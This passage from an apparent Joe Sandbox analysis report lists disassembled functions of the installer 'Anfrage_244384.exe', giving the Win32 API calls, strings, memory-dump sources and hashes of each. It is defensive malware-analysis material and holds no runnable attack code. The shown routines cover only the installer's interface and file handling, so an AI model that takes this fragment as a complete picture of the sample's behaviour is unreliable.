                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
                                                        • String ID: %s=%s$NUL$[Rename]
                                                        • API String ID: 222337774-4148678300
                                                        • Opcode ID: 5ce72f1d5662fdfb16fbdc716e83a23565de7620f696fffa2ec6c38a8c937bd1
                                                        • Instruction ID: 6293277805e4fd93310031222b01184603883beffbc8e30d5776d07611dc3463
                                                        • Opcode Fuzzy Hash: 5ce72f1d5662fdfb16fbdc716e83a23565de7620f696fffa2ec6c38a8c937bd1
                                                        • Instruction Fuzzy Hash: 0D310171204B19BBE2206B255E89F6B3A5CDF42758F14013AFE41F22D2DA7C9C058EAD
                                                        Function 0040602E Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Anfrage_244384.exe",75573410,C:\Users\user\AppData\Local\Temp\,00000000,0040317E,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403393), ref: 00406086
                                                        • CharNextA.USER32(?,?,?,00000000), ref: 00406093
                                                        • CharNextA.USER32(?,"C:\Users\user\Desktop\Anfrage_244384.exe",75573410,C:\Users\user\AppData\Local\Temp\,00000000,0040317E,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403393), ref: 00406098
                                                        • CharPrevA.USER32(?,?,75573410,C:\Users\user\AppData\Local\Temp\,00000000,0040317E,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403393), ref: 004060A8
                                                        Strings
                                                        • *?|<>/":, xrefs: 00406076
                                                        • "C:\Users\user\Desktop\Anfrage_244384.exe", xrefs: 0040606A
                                                        • C:\Users\user\AppData\Local\Temp\, xrefs: 0040602F
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: Char$Next$Prev
                                                        • String ID: "C:\Users\user\Desktop\Anfrage_244384.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
                                                        • API String ID: 589700163-3515069221
                                                        • Opcode ID: c65cd21f9bebafd0fa0734b05f9293669e0a6699517ac04d9452259f54362241
                                                        • Instruction ID: 6dd00fd98cdd52380b6000705bfe1b2e5a3199cd407f9fb4c243556cad1baf37
                                                        • Opcode Fuzzy Hash: c65cd21f9bebafd0fa0734b05f9293669e0a6699517ac04d9452259f54362241
                                                        • Instruction Fuzzy Hash: E81104A28847952DEB3296344C44B776F894F967A0F19007BE8C6722C3CA7C5CA2836D
                                                        Function 0040400F Relevance: 12.1, APIs: 8, Instructions: 61COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetWindowLongA.USER32(?,000000EB), ref: 0040402C
                                                        • GetSysColor.USER32(00000000), ref: 00404048
                                                        • SetTextColor.GDI32(?,00000000), ref: 00404054
                                                        • SetBkMode.GDI32(?,?), ref: 00404060
                                                        • GetSysColor.USER32(?), ref: 00404073
                                                        • SetBkColor.GDI32(?,?), ref: 00404083
                                                        • DeleteObject.GDI32(?), ref: 0040409D
                                                        • CreateBrushIndirect.GDI32(?), ref: 004040A7
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
                                                        • String ID:
                                                        • API String ID: 2320649405-0
                                                        • Opcode ID: ae3d8a9df92c775f8f54e71e017c7c1ec6869770dfd215418e325c2b67ca61e7
                                                        • Instruction ID: 4b93f18e3972f6c94df15fd0826ae0e2c8d28fcec101fb7672849d56c603d5ef
                                                        • Opcode Fuzzy Hash: ae3d8a9df92c775f8f54e71e017c7c1ec6869770dfd215418e325c2b67ca61e7
                                                        • Instruction Fuzzy Hash: 792124B1500744ABCB319F78DD48B5BBBF8AF41714B04892DEA96F22A0D734D944CB55
                                                        Function 100021FA Relevance: 10.6, APIs: 7, Instructions: 139memoryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GlobalFree.KERNEL32(00000000), ref: 1000234A
                                                          • Part of subcall function 10001224: lstrcpynA.KERNEL32(00000000,?,100012CF,-1000404B,100011AB,-000000A0), ref: 10001234
                                                        • GlobalAlloc.KERNEL32(00000040,?), ref: 100022C3
                                                        • MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 100022D8
                                                        • GlobalAlloc.KERNEL32(00000040,00000010), ref: 100022E7
                                                        • CLSIDFromString.OLE32(00000000,00000000), ref: 100022F4
                                                        • GlobalFree.KERNEL32(00000000), ref: 100022FB
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1987011203.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                                        • Associated: 00000000.00000002.1986995979.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        • Associated: 00000000.00000002.1987028982.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        • Associated: 00000000.00000002.1987044483.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_10000000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: Global$AllocFree$ByteCharFromMultiStringWidelstrcpyn
                                                        • String ID:
                                                        • API String ID: 3730416702-0
                                                        • Opcode ID: 8ca201b8c9dcbb45ad50e4cb45e4e1ae2e8a5d70f393ea2d6c63899163ff979d
                                                        • Instruction ID: bfa8c22ebd78897ea4dc14f883c746723b208fa17a75ef0c69fbb79ff87ab60c
                                                        • Opcode Fuzzy Hash: 8ca201b8c9dcbb45ad50e4cb45e4e1ae2e8a5d70f393ea2d6c63899163ff979d
                                                        • Instruction Fuzzy Hash: B541ABB1108311EFF320DFA48884B5BB7F8FF443D1F218529F946D61A9DB34AA448B61
                                                        Function 100023DA Relevance: 10.6, APIs: 7, Instructions: 111COMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 10001215: GlobalAlloc.KERNEL32(00000040,10001233,?,100012CF,-1000404B,100011AB,-000000A0), ref: 1000121D
                                                        • GlobalFree.KERNEL32(?), ref: 100024B5
                                                        • GlobalFree.KERNEL32(00000000), ref: 100024EF
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1987011203.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                                        • Associated: 00000000.00000002.1986995979.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        • Associated: 00000000.00000002.1987028982.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        • Associated: 00000000.00000002.1987044483.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_10000000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: Global$Free$Alloc
                                                        • String ID:
                                                        • API String ID: 1780285237-0
                                                        • Opcode ID: 8ed12168559ed504bf2d16f5614b25cf9b7800a5843296302d7a865f42518c80
                                                        • Instruction ID: 4e6b36a645f71e2aed4a85f2c36ff1861f2741140ba068ae73f9b0a79c1593cf
                                                        • Opcode Fuzzy Hash: 8ed12168559ed504bf2d16f5614b25cf9b7800a5843296302d7a865f42518c80
                                                        • Instruction Fuzzy Hash: EA319CB1504250EFF322CF64CCC4C6B7BBDEB852D4B124529FA4193168CB31AC94DB62
                                                        Function 00404FDC Relevance: 10.6, APIs: 7, Instructions: 73stringwindowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • lstrlenA.KERNEL32(0042A048,00000000,0041C020,755723A0,?,?,?,?,?,?,?,?,?,0040308E,00000000,?), ref: 00405015
                                                        • lstrlenA.KERNEL32(0040308E,0042A048,00000000,0041C020,755723A0,?,?,?,?,?,?,?,?,?,0040308E,00000000), ref: 00405025
                                                        • lstrcatA.KERNEL32(0042A048,0040308E,0040308E,0042A048,00000000,0041C020,755723A0), ref: 00405038
                                                        • SetWindowTextA.USER32(0042A048,0042A048), ref: 0040504A
                                                        • SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00405070
                                                        • SendMessageA.USER32(?,00001007,00000000,00000001), ref: 0040508A
                                                        • SendMessageA.USER32(?,00001013,?,00000000), ref: 00405098
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: MessageSend$lstrlen$TextWindowlstrcat
                                                        • String ID:
                                                        • API String ID: 2531174081-0
                                                        • Opcode ID: 3b2410e8308c6412343eb032780aba43e390b926bae686ddbb8ef07075a9bc68
                                                        • Instruction ID: 94b0b073a5ce97ddacba51ea26bc878ee4e16423412cd9a98c67571b7997b3ab
                                                        • Opcode Fuzzy Hash: 3b2410e8308c6412343eb032780aba43e390b926bae686ddbb8ef07075a9bc68
                                                        • Instruction Fuzzy Hash: D5219D71900518BBDF119FA5CD84ADFBFA9EF04354F14807AF944B6291C6398E40CFA8
                                                        Function 004048A7 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 004048C2
                                                        • GetMessagePos.USER32 ref: 004048CA
                                                        • ScreenToClient.USER32(?,?), ref: 004048E4
                                                        • SendMessageA.USER32(?,00001111,00000000,?), ref: 004048F6
                                                        • SendMessageA.USER32(?,0000110C,00000000,?), ref: 0040491C
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: Message$Send$ClientScreen
                                                        • String ID: f
                                                        • API String ID: 41195575-1993550816
                                                        • Opcode ID: 33c806690141bddee9d4868c528a06b643bfd418e36cfd9cd505f5ef0f9636f7
                                                        • Instruction ID: b60015b5b4e1efc5408348c5136693cdb789d2fb79533d825e55e5a5312c0c55
                                                        • Opcode Fuzzy Hash: 33c806690141bddee9d4868c528a06b643bfd418e36cfd9cd505f5ef0f9636f7
                                                        • Instruction Fuzzy Hash: CE015EB590021DBAEB00DBA4DD85BFFBBBCAF55711F10412BBA50B61C0C7B499018BA4
                                                        Function 00401D95 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetDC.USER32(?), ref: 00401D98
                                                        • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DB2
                                                        • MulDiv.KERNEL32(00000000,00000000), ref: 00401DBA
                                                        • ReleaseDC.USER32(?,00000000), ref: 00401DCB
                                                        • CreateFontIndirectA.GDI32(0040B818), ref: 00401E1A
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: CapsCreateDeviceFontIndirectRelease
                                                        • String ID: Tahoma
                                                        • API String ID: 3808545654-3580928618
                                                        • Opcode ID: 4a9721664201bd5593a8fcbda807d16f2860009d8a73813414fafdd84ed437a3
                                                        • Instruction ID: 1358c95a7d37f972e16a3fa2afb190f01721c65bbfaef5fc63903db35bf40af4
                                                        • Opcode Fuzzy Hash: 4a9721664201bd5593a8fcbda807d16f2860009d8a73813414fafdd84ed437a3
                                                        • Instruction Fuzzy Hash: DD015272544240AFE7006B74AE4A7A93FF8DB59315F10843AF141B62F2CB7900458FAD
                                                        Function 00402C13 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402C2E
                                                        • MulDiv.KERNEL32(0012CA0E,00000064,0012EEF8), ref: 00402C59
                                                        • wsprintfA.USER32 ref: 00402C69
                                                        • SetWindowTextA.USER32(?,?), ref: 00402C79
                                                        • SetDlgItemTextA.USER32(?,00000406,?), ref: 00402C8B
                                                        Strings
                                                        • verifying installer: %d%%, xrefs: 00402C63
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: Text$ItemTimerWindowwsprintf
                                                        • String ID: verifying installer: %d%%
                                                        • API String ID: 1451636040-82062127
                                                        • Opcode ID: bfb410b3b6209971c20e4d2875b6fc85698dfbb326aa5bfda2d4b594da7e2ec0
                                                        • Instruction ID: 7317fb9631212961ca73b33fff5b89fd9836da26efc2a3b2e30b0290716cf4a9
                                                        • Opcode Fuzzy Hash: bfb410b3b6209971c20e4d2875b6fc85698dfbb326aa5bfda2d4b594da7e2ec0
                                                        • Instruction Fuzzy Hash: 0E01627060020CFBEF209F60DE09EEE37A9EB04304F008039FA06A51D0DBB899518F58
                                                        Function 00402749 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 0040279D
                                                        • GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,000000F0), ref: 004027B9
                                                        • GlobalFree.KERNEL32(?), ref: 004027F2
                                                        • GlobalFree.KERNEL32(00000000), ref: 00402805
                                                        • CloseHandle.KERNEL32(?,?,?,?,000000F0), ref: 0040281D
                                                        • DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 00402831
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: Global$AllocFree$CloseDeleteFileHandle
                                                        • String ID:
                                                        • API String ID: 2667972263-0
                                                        • Opcode ID: 45c976d1f9efa3b673be8bfb29733d3aa1598ede0f13eddfd8cf1085deaf7a0d
                                                        • Instruction ID: 571a6d001cc63de597daa7fe39824babb5321d0f4a9ee8e37ed24c69abe451e8
                                                        • Opcode Fuzzy Hash: 45c976d1f9efa3b673be8bfb29733d3aa1598ede0f13eddfd8cf1085deaf7a0d
                                                        • Instruction Fuzzy Hash: 62219C71800128BBCF217FA5CE89D9E7A79EF09324F14423AF551762E1CA794941DFA8
                                                        Function 1000180D Relevance: 7.7, APIs: 5, Instructions: 189COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1987011203.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                                        • Associated: 00000000.00000002.1986995979.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        • Associated: 00000000.00000002.1987028982.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        • Associated: 00000000.00000002.1987044483.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_10000000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: FreeGlobal
                                                        • String ID:
                                                        • API String ID: 2979337801-0
                                                        • Opcode ID: 83a27a6a764e204457f331ddef67b06d43c1ca0f526d792f63dc3af4834dec0e
                                                        • Instruction ID: adaf369aa6dab84e94bee76403d526b7d43184adb12fe210256c1aedb67fe499
                                                        • Opcode Fuzzy Hash: 83a27a6a764e204457f331ddef67b06d43c1ca0f526d792f63dc3af4834dec0e
                                                        • Instruction Fuzzy Hash: 43512536D04159AEFB55DFB488A4AEEBBF6EF453C0F124169E841B315DCA306E4087D2
                                                        Function 00401D3B Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetDlgItem.USER32(?), ref: 00401D3F
                                                        • GetClientRect.USER32(00000000,?), ref: 00401D4C
                                                        • LoadImageA.USER32(?,00000000,?,?,?,?), ref: 00401D6D
                                                        • SendMessageA.USER32(00000000,00000172,?,00000000), ref: 00401D7B
                                                        • DeleteObject.GDI32(00000000), ref: 00401D8A
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: ClientDeleteImageItemLoadMessageObjectRectSend
                                                        • String ID:
                                                        • API String ID: 1849352358-0
                                                        • Opcode ID: b9866fc206b3e1f2001e4087a8a8d6ef2e3fb8e7fd47bad3a68fd0200ce6cc51
                                                        • Instruction ID: 59b50efb9a894631b7e7ef6fc31e4c4877b28631b56f020e773a3ce1da8bb2e7
                                                        • Opcode Fuzzy Hash: b9866fc206b3e1f2001e4087a8a8d6ef2e3fb8e7fd47bad3a68fd0200ce6cc51
                                                        • Instruction Fuzzy Hash: 6EF0FFB2600519BFD700EBA4DF88DAFB7BCEB44301B10447AF641F2191CA749D018B38
                                                        Function 00401C04 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C74
                                                        • SendMessageA.USER32(00000000,00000000,?,?), ref: 00401C8C
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: MessageSend$Timeout
                                                        • String ID: !
                                                        • API String ID: 1777923405-2657877971
                                                        • Opcode ID: 028af5dbbf2e27154293e1be7a1693a126019fa8c38554a83be992bc88fc6b23
                                                        • Instruction ID: c229e225b91697c78ff11bbf30ef832f008d48f992f947ceaaf7a44b37239d7f
                                                        • Opcode Fuzzy Hash: 028af5dbbf2e27154293e1be7a1693a126019fa8c38554a83be992bc88fc6b23
                                                        • Instruction Fuzzy Hash: E921A271A44208BEEB15EFA4DA46AED7FB1EF84314F24403EF101B61D1DA788640DB28
                                                        Function 0040479D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • lstrlenA.KERNEL32(0042A868,0042A868,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,004046B8,000000DF,00000000,00000400,?), ref: 0040483B
                                                        • wsprintfA.USER32 ref: 00404843
                                                        • SetDlgItemTextA.USER32(?,0042A868), ref: 00404856
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: ItemTextlstrlenwsprintf
                                                        • String ID: %u.%u%s%s
                                                        • API String ID: 3540041739-3551169577
                                                        • Opcode ID: 87a759055d291fd877383144180c8e5bed6145313cb5bdff1d542eccde70147e
                                                        • Instruction ID: 1726a7b3b84a2b44988fbd512cc110d638b221a6b4b1acd42f263589eafed974
                                                        • Opcode Fuzzy Hash: 87a759055d291fd877383144180c8e5bed6145313cb5bdff1d542eccde70147e
                                                        • Instruction Fuzzy Hash: D611E4736041282BEB00666D9C45EEF3698DB86374F244237FA25F31D1EA78CC1286E8
                                                        Function 00403A08 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 71COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SetWindowTextA.USER32(00000000,Debutromaners241 Setup), ref: 00403AA0
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
